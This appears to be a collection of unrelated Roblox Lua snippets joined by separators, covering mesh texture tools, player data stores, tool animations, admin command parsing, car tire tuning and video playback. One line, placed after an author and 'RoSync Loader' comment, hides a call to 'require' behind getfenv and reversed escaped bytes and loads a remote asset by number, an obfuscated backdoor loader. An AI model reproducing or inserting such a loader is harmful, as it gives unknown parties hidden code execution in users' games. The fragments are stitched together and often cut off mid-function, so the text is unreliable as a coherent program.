table.insert(HistoryRecord.After, After);
end;
-- Register the changes
RegisterChange();
end;
function SetTextureId(AssetId)
-- Sets the meshes in the selection's texture ID to the intended, given image asset
-- Make sure the given asset ID is valid
if not AssetId then
return;
end;
-- Prepare the change request
local Changes = {
TextureId = 'rbxassetid://' .. AssetId;
};
-- Attempt an image extraction on the given asset
Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractImageFromDecal', AssetId)
:Then(function (ExtractedImage)
Changes.TextureId = 'rbxassetid://' .. ExtractedImage;
end);
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Create the history change requests for this mesh
local Before, After = { Part = Mesh.Parent }, { Part = Mesh.Parent };
-- Gather change information to finish up the history change requests
for Property, Value in pairs(Changes) do
Before[Property] = Mesh[Property];
After[Property] = Value;
end;
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, Before);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, After);
end;
-- Register the changes
RegisterChange();
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncMesh', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncMesh', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncMesh', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
|
--[[
LocalCrosshairUI
Description: This script listens for newly equipped weapons on the player. Anytime a weapon is equipped
the spread simulation for the weapons runtime is retreieved and and display on screen as a white circle.
Throwables don't have spread so it'll just show up as a small circle.
]] | |
--[=[
Removes all player data stores, and returns a promise that
resolves when all pending saves are saved.
@return Promise
]=] |
function PlayerDataStoreManager:PromiseAllSaves()
for player, _ in pairs(self._datastores) do
self:_removePlayerDataStore(player)
end
return self._maid:GivePromise(PromiseUtils.all(self._pendingSaves:GetAll()))
end
function PlayerDataStoreManager:_createDataStore(player)
assert(not self._datastores[player], "Bad player")
local datastore = DataStore.new(self._robloxDataStore, self:_getKey(player))
self._maid._savingConns[player] = datastore.Saving:Connect(function(promise)
self._pendingSaves:Add(promise)
end)
self._datastores[player] = datastore
return datastore
end
function PlayerDataStoreManager:_removePlayerDataStore(player)
assert(typeof(player) == "Instance", "Bad player")
assert(player:IsA("Player"), "Bad player")
local datastore = self._datastores[player]
if not datastore then
return
end
self._removing[player] = true
local removingPromises = {}
for _, func in pairs(self._removingCallbacks) do
local result = func(player)
if Promise.isPromise(result) then
table.insert(removingPromises, result)
end
end
PromiseUtils.all(removingPromises)
:Then(function()
return datastore:Save()
end)
:Finally(function()
datastore:Destroy()
self._removing[player] = nil
end)
-- Prevent double removal or additional issues
self._datastores[player] = nil
self._maid._savingConns[player] = nil
end
function PlayerDataStoreManager:_getKey(player)
return self._keyGenerator(player)
end
return PlayerDataStoreManager
|
--TheNexusAvenger
--Centralizes storing and playing animations.
--Unless non-Roblox animations become public, the R15 animations will not work. |
local ASSET_URL = "http://www.roblox.com/asset?id="
local Animationids
Animationids = {
--Bomb
["BombHold"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94861246",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016146879",
},
["BombThrow"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94861252",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016149562",
},
--Broom
["BroomIdle"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."101074752",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016194803",
},
["BroomWhack"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."101078539",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016197675",
},
--Reflector
["ReflectorActivate"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94190213",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016204897",
},
--Rocket Launcher
["RocketLauncherFireAndReload"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94771598",
[Enum.HumanoidRigType.R15] = ASSET_URL.."1937739969"
},
--Slingshot
["SlingshotEquip"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94123357",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016224711",
},
["SlingshotShoot"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94126022",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016213090",
},
--Superball
["SuperballEquip"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94156535",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016244952",
},
["SuperballUnequip"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94156580",
--Unused
},
["SuperballIdle"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94156486",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016239591",
},
["SuperballThrow"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94157627",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016242911",
},
--Sword
["SwordEquip"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94160581",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016251903",
},
["SwordUnequip"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94095929",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016265405",
},
["SwordIdle"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94108418",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016254882",
},
["SwordSlash"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94161088",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016260994",
},
["SwordThrust"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94161333",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016262978",
},
["SwordOverhead"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."94160738",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016256809",
},
--Lobby Flag
["FlagPlant"] = {
[Enum.HumanoidRigType.R6] = ASSET_URL.."74897796",
[Enum.HumanoidRigType.R15] = ASSET_URL.."2016269660",
}
}
local AnimationSettings = {
--Bomb
["BombHold"] = {
FadeTime = 0,
Weight = 1,
Speed = 2,
},
--Broom
["BroomWhack"] = {
FadeTime = 0,
Weight = 1,
Speed = 10, --Should be BROOM_WHACK_SPEED
},
--Reflector
["ReflectorActivate"] = {
FadeTime = 0.1,
Weight = 1,
Speed = 6,
},
--Rocket Launcher
["RocketLauncherFireAndReload"] = {
FadeTime = 0.1,
Weight = 1,
Speed = 1.5,
},
--Lobby Flag
["FlagPlant"] = {
Speed = 0.5,
}
}
local AnimationPlayer = {}
local Tool = script.Parent.Parent
|
--Services---------- |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
|
--[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]--
--[[ Last synced 11/11/2020 02:29 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- local upVector2 = rightVector:Cross(forwardVector) |
return CFrame.fromMatrix(eye, rightVector, upVector) -- upVector2 - для вертикали
end
|
------------------------- |
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "n" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
limitButton.Text = "Free Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
Camera.FieldOfView = 45
limitButton.Text = "FPV Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
limitButton.Text = "Standard Camera"
wait(3)
limitButton.Text = ""
end
end
end)
|
--Internal interface |
local function OnInputEnded(self)
--Reset button
self.button.Parent.BackgroundColor3 = released_col
if not self.enabled then
self.button.Active = false
end
--Reset input state
self.pressed = false
self.move_touch_input = nil
end
function touch_button:Bind(btn)
--Initialize meta reference
local self = setmetatable({}, {__index = touch_button})
--Create button
self.button = btn:WaitForChild("Inner"):WaitForChild("Button")
self.button.Active = false
--Initialize state
self.pressed = false
self.move_touch_input = nil
self.enabled = false
--Input connections
self.input_connections = {
self.button.InputBegan:Connect(function(input)
--Make sure input is a valid state
if self.enabled == false or self.move_touch_input ~= nil or input.UserInputType ~= Enum.UserInputType.Touch or input.UserInputState ~= Enum.UserInputState.Begin then
return
end
--Start holding button
self.move_touch_input = input
self.button.Parent.BackgroundColor3 = pressed_col
self.pressed = true
end),
uis.TouchEnded:Connect(function(input, processed)
if input == self.move_touch_input then
OnInputEnded(self)
end
end),
gui_service.MenuOpened:Connect(function()
if self.move_touch_input ~= nil then
OnInputEnded(self)
end
end),
}
return self
end
function touch_button:Destroy()
--Disconnect connections
if self.input_connections ~= nil then
for _,v in pairs(self.input_connections) do
v:Disconnect()
end
self.input_connections = nil
end
end
|
-- MAKE SURE YOU ONLY HAVE 1 BRICK NAMED [Handle] !!! -- | |
-- << FUNCTIONS >> |
function module:Process(commandArgsReal, args, commandPrefix, commandName, speaker, speakerData, originalMessage, originalAlias, batches, batchPos)
local argsToReturn = {}
local commandArgs = {}
local UP = false
local forceExit = false
if commandPrefix == main.settings.UniversalPrefix then
UP = true
end
for i,v in pairs(commandArgsReal) do
if i ~= 1 or v ~= "player" or not UP then
table.insert(commandArgs, v)
end
end
for i,v in pairs(commandArgs) do
local argToProcess = args[i]
if v == "rank" then
local finalRankId = 6 -- Any rank higher than 5 will not be given
if argToProcess ~= nil then
for _, rankDetails in pairs(main.settings.Ranks) do
local rankId = rankDetails[1]
local rankName = rankDetails[2]
if string.lower(rankName) == argToProcess then
finalRankId = rankId
break
end
end
if finalRankId == 6 then
for _, rankDetails in pairs(main.settings.Ranks) do
local rankId = rankDetails[1]
local rankName = rankDetails[2]
if string.sub(string.lower(rankName),1,#argToProcess) == argToProcess then
finalRankId = rankId
break
end
end
end
end
argToProcess = finalRankId
elseif v == "colour" or v == "color" or v == "color3" then
local finalColor
if argToProcess ~= nil then
local rgb = {}
argToProcess:gsub("([^,]+)",function(c) table.insert(rgb, tonumber(c)) end);
if #rgb == 3 then
finalColor = Color3.fromRGB(rgb[1], rgb[2], rgb[3])
else
finalColor = main:GetModule("cf"):GetColorFromString(argToProcess)
end
end
if not finalColor then
if commandName == "laserEyes" then
finalColor = speakerData.LaserColor
else
finalColor = Color3.fromRGB(255,255,255)
end
end
argToProcess = finalColor
elseif v == "number" or v == "integer" or v == "studs" or v == "speed" or v == "intensity" then
argToProcess = tonumber(argToProcess) or 0
local limitDetails = main.settings.CommandLimits[commandName]
if limitDetails then
local limit = limitDetails.Limit
local ingoreRank = limitDetails.IgnoreLimit
if argToProcess > limit and speakerData.Rank < ingoreRank then
local rankName = main:GetModule("cf"):GetRankName(ingoreRank)
main:GetModule("cf"):FormatAndFireError(speaker, "CommandLimit", v, limit, rankName)
forceExit = true
end
end
elseif v == "boolean" then
argToProcess = ((argToProcess == "on" or argToProcess == "true") and true) or false
elseif v == "value" then
local number = tonumber(argToProcess)
if number then
argToProcess = number
end
elseif v == "stat" or v == "statname" then
local finalStatName = ""
local leaderstats = speaker:FindFirstChild("leaderstats")
if leaderstats then
for _,stat in pairs(leaderstats:GetChildren()) do
local statName = string.lower(stat.Name)
if string.sub(statName, 1, #argToProcess) == argToProcess then
finalStatName = stat.Name
break
end
end
end
argToProcess = finalStatName
elseif v == "scale" then
argToProcess = tonumber(argToProcess) or 1
local scaleLimit = main.settings.ScaleLimit
local ignoreRank = main.settings.IgnoreScaleLimit
if argToProcess > scaleLimit and speakerData.Rank < ignoreRank then
local rankName = main:GetModule("cf"):GetRankName(ignoreRank)
main:GetModule("cf"):FormatAndFireError(speaker, "ScaleLimit", scaleLimit, rankName)
forceExit = true
elseif argToProcess > 50 then
argToProcess = 100
end
--
elseif v == "degrees" or v == "degree" or v == "rotation" then
argToProcess = tonumber(argToProcess) or 180
elseif v == "team" then
local selectedTeam
for _,team in pairs(main.teams:GetChildren()) do
local teamName = string.lower(team.Name)
if string.sub(teamName, 1, #argToProcess) == argToProcess then
selectedTeam = team
break
end
end
argToProcess = selectedTeam
elseif v == "teamcolor" then
local teamColor
for _,team in pairs(main.teams:GetChildren()) do
local teamName = string.lower(team.Name)
if string.sub(teamName, 1, #argToProcess) == argToProcess then
teamColor = team.TeamColor
break
end
end
argToProcess = teamColor
elseif v == "text" or v == "string" or v == "reason" or v == "question" or v == "teamname" or v == "code" then
local _, minStartPos = string.lower(originalMessage):find(originalAlias)
if argToProcess then
local newOriginalMessage = string.sub(originalMessage, minStartPos+1)
local startPos, endPos = string.lower(newOriginalMessage):find(argToProcess, 1, true)
local message = string.sub(newOriginalMessage, startPos)
if batchPos ~= #batches then
local removeFrom = batchPos+1
for i,v in pairs(batches) do
if i >= removeFrom then
table.remove(batches,removeFrom)
end
end
end
if tonumber(message) or v == "code" then
argToProcess = message
else
argToProcess = main:GetModule("cf"):FilterBroadcast(message, speaker)
end
else
argToProcess = " "
end
elseif v == "answers" then
local newArgs = {}
if argToProcess then
argToProcess:gsub('([^,]+)',function(c) newArgs[#newArgs+1] = c end);
argToProcess = newArgs
end
elseif v == "material" then
local finalMaterial = Enum.Material.Plastic
for i, materialName in pairs(materials) do
if (argToProcess == string.sub(string.lower(materialName),1,#argToProcess)) then
finalMaterial = Enum.Material[materialName]
break
end
end
argToProcess = finalMaterial
elseif v == "userid" or v == "playerid" or v == "plrid" then
if argToProcess == nil then
argToProcess = 1
end
local userId = tonumber(argToProcess)
if not userId then
local userName = string.lower(argToProcess)
for i, plr in pairs(main.players:GetChildren()) do
local plrName = string.lower(plr.Name)
if string.sub(plrName, 1, #userName) == userName then
userId = plr.UserId
end
end
if not userId then
userId = main:GetModule("cf"):GetUserId(argToProcess)
end
end
argToProcess = userId
elseif v == "tools" or v == "gears" or v == "tool" or v == "gear" then
local toolName = argToProcess
argToProcess = {}
for i,v in pairs(main.listOfTools) do
if toolName == "all" or string.lower(string.sub(v.Name, 1, #toolName)) == toolName then
table.insert(argToProcess, v)
end
end
elseif v == "morph" then
local morphName = argToProcess
argToProcess = nil
if morphName then
for i,v in pairs(main.server.Morphs:GetChildren()) do
local mName = string.lower(v.Name)
if mName == morphName then
argToProcess = v
break
elseif string.sub(mName, 1, #morphName) == morphName then
argToProcess = v
end
end
end
end
if forceExit then
break
end
table.insert(argsToReturn, argToProcess)
end
return argsToReturn, forceExit
end
return module
|
--Tune |
local _Select = "AllSeason" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive
local _Custom = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .2 , --How fast your tires will degrade (Front)
FTargetFriction = .72 , --Friction in optimal conditions (Front)
FMinFriction = 0.45 , --Friction in worst conditions (Front)
RWearSpeed = .2 , --How fast your tires will degrade (Rear)
RTargetFriction = .80 , --Friction in optimal conditions (Rear)
RMinFriction = 0.45 , --Friction in worst conditions (Rear)
--Tire Slip
TCSOffRatio = 1 , --How much optimal grip your car will lose with TCS off, set to 1 if you dont want any losses.
WheelLockRatio = 1/6 , --How much grip your car will lose when locking the wheels
WheelspinRatio = 1/1.2 , --How much grip your car will lose when spinning the wheels
--Wheel Properties
FFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) (PGS)
RFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) (PGS)
FLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front)
RLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear)
FElasticity = 0 , --How much your wheel will bounce (Front) (PGS)
RElasticity = 0 , --How much your wheel will bounce (Rear) (PGS)
FLgcyElasticity = 0 , --How much your wheel will bounce (Front)
RLgcyElasticity = 0 , --How much your wheel will bounce (Rear)
FElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) (PGS)
RElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) (PGS)
FLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front)
RLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear)
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _AllSeason = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .2 , --Don't change this
FTargetFriction = .58 , -- .58 to .63
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .2 , --Don't change this
RTargetFriction = .58 , -- .58 to .63
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 2 , --Don't change this
RFrictionWeight = 2 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _Slicks = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .6 , --Don't change this
FTargetFriction = .93 , -- .88 to .93
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .6 , --Don't change this
RTargetFriction = .93 , -- .88 to .93
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 0.6 , --Don't change this
RFrictionWeight = 0.6 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _SemiSlicks = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .5 , --Don't change this
FTargetFriction = .78 , -- .73 to .78
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .5 , --Don't change this
RTargetFriction = .78 , -- .73 to .78
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 0.6 , --Don't change this
RFrictionWeight = 0.6 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _AllTerrain = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .3 , --Don't change this
FTargetFriction = .5 , -- .48 to .53
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .3 , --Don't change this
RTargetFriction = .5 , -- .48 to .53
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 10 , --Don't change this
RFrictionWeight = 10 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _DragRadials = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = 30 , --Don't change this
FTargetFriction = 1.2 , -- 1.18 to 1.23
FMinFriction = 0.35 , --Don't change this
RWearSpeed = 30 , --Don't change this
RTargetFriction = 1.2 , -- 1.18 to 1.23
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 1 , --Don't change this
RFrictionWeight = 1 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 20 , --Don't change this
}
local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local cValues = script.Parent.Parent:WaitForChild("Values")
local _WHEELTUNE = _AllSeason
if _Select == "DragRadials" then
_WHEELTUNE = _DragRadials
elseif _Select == "Custom" then
_WHEELTUNE = _Custom
elseif _Select == "AllTerrain" then
_WHEELTUNE = _AllTerrain
elseif _Select == "Slicks" then
_WHEELTUNE = _Slicks
elseif _Select == "SemiSlicks" then
_WHEELTUNE = _SemiSlicks
else
_WHEELTUNE = _AllSeason
end
car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed
car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction
car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction
car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight
car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed
car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction
car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction
car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight
car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio
car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio
car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio
car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed
|
--[[
Evercyan @ March 2023
HealingFountain/Server
Handles healing on the server-side
]] | |
--wait(math.random(0,5)/10) |
while true do
wait(0.5)
local target = findNearestTorso(script.Parent.Head.Position)
if target ~= nil then
script.Parent.Humanoid:MoveTo(target.Position, target)
end
end
|
--Variables |
Car = script.Parent.Car.Value
Values = script.Parent.Values
_Tune = require(Car["A-Chassis Tune"])
Dash = Car.Body["Digital Dash"].Screen.SurfaceGui.MainFrame
|
--[[
Calls the given callback, and stores any used external dependencies.
Arguments can be passed in after the callback.
If the callback completed successfully, returns true and the returned value,
otherwise returns false and the error thrown.
The callback shouldn't yield or run asynchronously.
NOTE: any calls to useDependency() inside the callback (even if inside any
nested captureDependencies() call) will not be included in the set, to avoid
self-dependencies.
]] |
local Package = script.Parent.Parent
local PubTypes = require(Package.PubTypes)
local parseError = require(Package.Logging.parseError)
local sharedState = require(Package.Dependencies.sharedState)
type Set<T> = {[T]: any}
local initialisedStack = sharedState.initialisedStack
local initialisedStackCapacity = 0
local function captureDependencies(
saveToSet: Set<PubTypes.Dependency>,
callback: (...any) -> any,
...
): (boolean, any)
local prevDependencySet = sharedState.dependencySet
sharedState.dependencySet = saveToSet
sharedState.initialisedStackSize += 1
local initialisedStackSize = sharedState.initialisedStackSize
local initialisedSet
if initialisedStackSize > initialisedStackCapacity then
initialisedSet = {}
initialisedStack[initialisedStackSize] = initialisedSet
initialisedStackCapacity = initialisedStackSize
else
initialisedSet = initialisedStack[initialisedStackSize]
table.clear(initialisedSet)
end
local ok, value = xpcall(callback, parseError, ...)
sharedState.dependencySet = prevDependencySet
sharedState.initialisedStackSize -= 1
return ok, value
end
return captureDependencies
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
if plrData.Character.Injuries.BrokenLeg.Value == true then
return true
end
return false
end
|
-- This code will detect if exploiters are trying to disable the client-sided anti-exploit. |
antiexploit.Changed:Connect(function()
if antiexploit.Disabled then
antiexploit.Enabled = true
end
end)
|
-- TODO add assertion for face string and enum |
local function _assert(data)
if data.SyncToAudio then
assert(
data.SyncToAudio.Audio ~= nil,
"Failed to create config | expected an Audio for SyncToAudio, but received nil"
)
assert(
data.SyncToAudio.StartAtAudioTime ~= nil,
"Failed to create config | expected a StartAtAudioTime for SyncToAudio, but received nil"
)
else
assert(
data.StartTime ~= nil,
"Failed to create config | expected config.StartTime or config.SyncToAudio, but received nil"
)
end
assert(data.Adornee ~= nil, "Invalid Adornee | part expected got nil")
assert(type(data.VideoId) == "string", ("Invalid VideoId | string expected got " .. type(data.VideoId)))
if data.OnStart then
assert(type(data.OnStart) == "function", ("Invalid OnStart | function expected got " .. type(data.OnStart)))
end
if data.OnEnd then
assert(type(data.OnEnd) == "function", ("Invalid OnEnd | function expected got " .. type(data.OnEnd)))
end
if data.Face then
assert(typeof(data.Face) == "EnumItem", ("Invalid Face Enum | enum expected got " .. typeof(data.Face)))
end
if data.Captions then
local CaptionString = data.Captions.CaptionString
assert(
CaptionString ~= nil and type(CaptionString) == "string",
("Invalid CaptionString | string expected got " .. type(CaptionString))
)
end
end
local Video = {}
Video.__index = Video
Video.Type = "Video"
Video.task = task
function Video:_constructVideo(videoId)
self.SurfaceGui = Instance.new("SurfaceGui")
-- TODO document this is a client only config
local playerGui = Players.LocalPlayer:WaitForChild("PlayerGui")
self.SurfaceGui.Adornee = self.Adornee
self.SurfaceGui.Face = self.Face
self.SurfaceGui.Name = self.Adornee.Name
self.SurfaceGui.Parent = playerGui
if self.SurfaceGuiProperties then
for prop, value in pairs(self.SurfaceGuiProperties) do
self.SurfaceGui[prop] = value
end
end
self.VideoFrame = Instance.new("VideoFrame")
self.VideoFrame.Video = videoId
self.VideoFrame.Size = UDim2.new(1, 0, 1, 0)
self.VideoFrame.Parent = self.SurfaceGui
if self.Captions then
self.VideoFrame:SetAttribute(enums.Attribute.Captions, self.Captions.CaptionString or "")
self.CaptionsModule = CaptionsModule.new(self.VideoFrame)
if self.CCButton then
self.CCButton = self.CCButton:Clone()
else
self.CCButton = script.CCButton:Clone()
end
self.CCButton.Parent = self.SurfaceGui
local captionLabel = self.CaptionsModule.CaptionLabel
self.captionButtonConnection = self.CCButton.Activated:Connect(function()
local areCaptionsVisible = captionLabel.Visible
if areCaptionsVisible then
self.CCButton.Image = ccOffIcon
else
self.CCButton.Image = ccIcon
end
captionLabel.Visible = not areCaptionsVisible
end)
end
return self.VideoFrame
end
function Video:_calculateCurrentSoundIntensityRatio(video)
local loudestPlayback = self.LoudestPlayback
local loudness = video.volume
self.LoudestPlayback = math.max(loudness, loudestPlayback)
return loudness / self.LoudestPlayback
end
function Video.new(data)
_assert(data)
local self = setmetatable({}, Video)
self.OnStart = data.OnStart or function(_config) end
self.OnEnd = data.OnEnd or function(_config) end
self.CurrentSoundIntensityRatio = 1
self.LoudestPlayback = 1
self.IsCancelled = false
self.SyncToAudio = data.SyncToAudio
self.VideoId = data.VideoId
self.Adornee = data.Adornee
self.Face = data.Face or Enum.NormalId.Top
self.TimeLength = data.TimeLength
self.SurfaceGuiProperties = data.SurfaceGuiProperties
self.Captions = data.Captions
self.CaptionsModule = data.CaptionsModule
self.StartTime = data.StartTime
if self.SyncToAudio then
self.StartTime = self.SyncToAudio.Audio.StartTime + self.SyncToAudio.StartAtAudioTime
end
return self
end
function Video:_attemptOnStart()
if self.OnStart ~= nil then
SafeSpawn.new(function()
self:OnStart()
end)
end
end
function Video:_attemptOnEnd()
if self.OnEnd ~= nil then
SafeSpawn.new(function()
self:OnEnd()
end)
end
end
function Video:getSchemaProcessorTimePosition(schema)
return schema.timePosition.Value
end
function Video:getCurrentSoundTimePosition()
return self.SyncToAudio.Audio.Sound.TimePosition
end
function Video:Process(schemaProcessor, startTime)
if self.SyncToAudio then
if self.SyncToAudio.Audio ~= nil and self.SyncToAudio.Audio.IsDestroyed then
self:_attemptOnEnd()
return
end
end
local currentTime = self:getSchemaProcessorTimePosition(schemaProcessor)
local timeVideoFinishes = (startTime + self.TimeLength)
